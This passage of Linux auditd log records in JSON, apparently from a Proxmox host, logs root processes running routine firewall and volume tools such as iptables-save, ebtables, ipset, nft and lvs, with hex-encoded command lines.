exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265481,"@rawstring":"node=pve type=PATH msg=audit(1781966265.481:69129): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965578527,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965578.527:66210): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865727,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.727:62970): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed110 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265481,"@rawstring":"node=pve type=PATH msg=audit(1781966265.481:69129): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965578527,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965578.527:66209): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964865721,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.721:62969): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265475,"@rawstring":"node=pve type=PATH msg=audit(1781966265.475:69128): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.577:66208): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964865715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.715:62968): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60416 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265475,"@rawstring":"node=pve type=PATH msg=audit(1781966265.475:69128): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575562,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.562:66207): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964865712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.712:62967): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57415a0cf740 items=0 ppid=1156 pid=60415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966265469,"@rawstring":"node=pve type=PATH msg=audit(1781966265.469:69127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.554:66206): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964865710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.710:62966): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc140510 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60415 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265469,"@rawstring":"node=pve type=PATH msg=audit(1781966265.469:69127): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.554:66205): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964865705,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.705:62965): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc14a720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60414 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265463,"@rawstring":"node=pve type=PATH msg=audit(1781966265.463:69126): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.541:66204): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964865700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.700:62964): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f0d30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60413 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265463,"@rawstring":"node=pve type=PATH msg=audit(1781966265.463:69126): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575527,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.527:66203): proctitle=\"ip6tables-save\""} {"@timestamp":1781964865696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.696:62963): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c1a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60412 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265455,"@rawstring":"node=pve type=PATH msg=audit(1781966265.455:69125): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.517:66202): proctitle=\"iptables-save\""} {"@timestamp":1781964865691,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.691:62962): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0d30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60411 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265455,"@rawstring":"node=pve type=PATH msg=audit(1781966265.455:69125): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575508,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.508:66201): proctitle=\"ip6tables-save\""} {"@timestamp":1781964865686,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.686:62961): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada5c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60410 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265450,"@rawstring":"node=pve type=PATH msg=audit(1781966265.450:69124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575499,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.499:66200): proctitle=\"iptables-save\""} {"@timestamp":1781964865679,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.679:62960): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60409 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265450,"@rawstring":"node=pve type=PATH msg=audit(1781966265.450:69124): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.496:66199): proctitle=\"ebtables-restore\""} {"@timestamp":1781964865673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.673:62959): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60408 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265444,"@rawstring":"node=pve type=PATH msg=audit(1781966265.444:69123): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.492:66198): proctitle=\"ebtables-restore\""} {"@timestamp":1781964865670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.670:62958): arch=c000003e syscall=59 success=yes exit=0 a0=5a0ea841ad30 a1=5a0ea8426bc0 a2=5a0ea83f4680 a3=5 items=2 ppid=60401 pid=60407 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265444,"@rawstring":"node=pve type=PATH msg=audit(1781966265.444:69123): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575484,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.484:66197): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964865666,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.666:62957): arch=c000003e syscall=59 success=yes exit=0 a0=5a0e79e61ac8 a1=7ffc68468b70 a2=5a0ea83f4680 a3=5a0e79e4524e items=2 ppid=60401 pid=60403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265436,"@rawstring":"node=pve type=PATH msg=audit(1781966265.436:69122): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575478,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.478:66196): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964865665,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.665:62956): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc68468b30 a1=5a0ea84163d0 a2=5a0ea83f4680 a3=5 items=2 ppid=60401 pid=60402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265436,"@rawstring":"node=pve type=PATH msg=audit(1781966265.436:69122): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575472,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.472:66195): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964865661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.661:62954): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265430,"@rawstring":"node=pve type=PATH msg=audit(1781966265.430:69121): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575464,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.464:66194): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964865654,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.654:62953): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60400 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265430,"@rawstring":"node=pve type=PATH msg=audit(1781966265.430:69121): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575457,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.457:66193): proctitle=697073657400726573746F7265"} {"@timestamp":1781964865648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.648:62952): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60399 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265037,"@rawstring":"node=pve type=PATH msg=audit(1781966265.037:69120): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575447,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.447:66192): proctitle=\"ip6tables-save\""} {"@timestamp":1781964865643,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.643:62951): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60398 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265037,"@rawstring":"node=pve type=PATH msg=audit(1781966265.037:69120): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.438:66191): proctitle=\"iptables-save\""} {"@timestamp":1781964865638,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.638:62950): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149dc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60397 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265013,"@rawstring":"node=pve type=PATH msg=audit(1781966265.013:69119): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575434,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.434:66190): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964865632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964865.632:62949): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1301d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265013,"@rawstring":"node=pve type=PATH msg=audit(1781966265.013:69119): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.427:66189): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964864625,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964864.625:62948): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dbd20 a1=64f8d73b6050 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60393 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261284,"@rawstring":"node=pve type=PATH msg=audit(1781966261.284:69118): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.424:66188): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964864593,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964864.593:62947): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6740 a1=64f8d73db3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60392 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261284,"@rawstring":"node=pve type=PATH msg=audit(1781966261.284:69118): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575424,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.424:66187): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964860.918:62946): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60391 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261284,"@rawstring":"node=pve type=PATH msg=audit(1781966261.284:69117): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575421,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.421:66186): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964860.910:62943): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60390 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261284,"@rawstring":"node=pve type=PATH msg=audit(1781966261.284:69117): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.411:66185): proctitle=\"ip6tables-save\""} {"@timestamp":1781964855899,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.899:62940): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60389 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261282,"@rawstring":"node=pve type=PATH msg=audit(1781966261.282:69116): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575404,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.404:66184): proctitle=\"iptables-save\""} {"@timestamp":1781964855890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.890:62937): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261282,"@rawstring":"node=pve type=PATH msg=audit(1781966261.282:69116): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575397,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.397:66183): proctitle=69707365740073617665"} {"@timestamp":1781964855622,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.622:62934): arch=c000003e syscall=59 success=yes exit=0 a0=56ee3cc3a0e0 a1=56ee3cc36e60 a2=56ee3cc18680 a3=5 items=2 ppid=60381 pid=60387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260983,"@rawstring":"node=pve type=PATH msg=audit(1781966260.983:69115): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.385:66182): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964855619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.619:62933): arch=c000003e syscall=59 success=yes exit=0 a0=56ee067b0ac8 a1=7ffc3c0d14e0 a2=56ee3cc18680 a3=56ee0679424e items=2 ppid=60381 pid=60383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260983,"@rawstring":"node=pve type=PATH msg=audit(1781966260.983:69115): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965575374,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965575.374:66181): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964855617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964855.617:62932): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc3c0d14a0 a1=56ee3cc1f310 a2=56ee3cc18680 a3=5 items=2 ppid=60381 pid=60382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260983,"@rawstring":"node=pve type=PATH msg=audit(1781966260.983:69114): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965574136,"@rawstring":"node=pve type=PROCTITLE 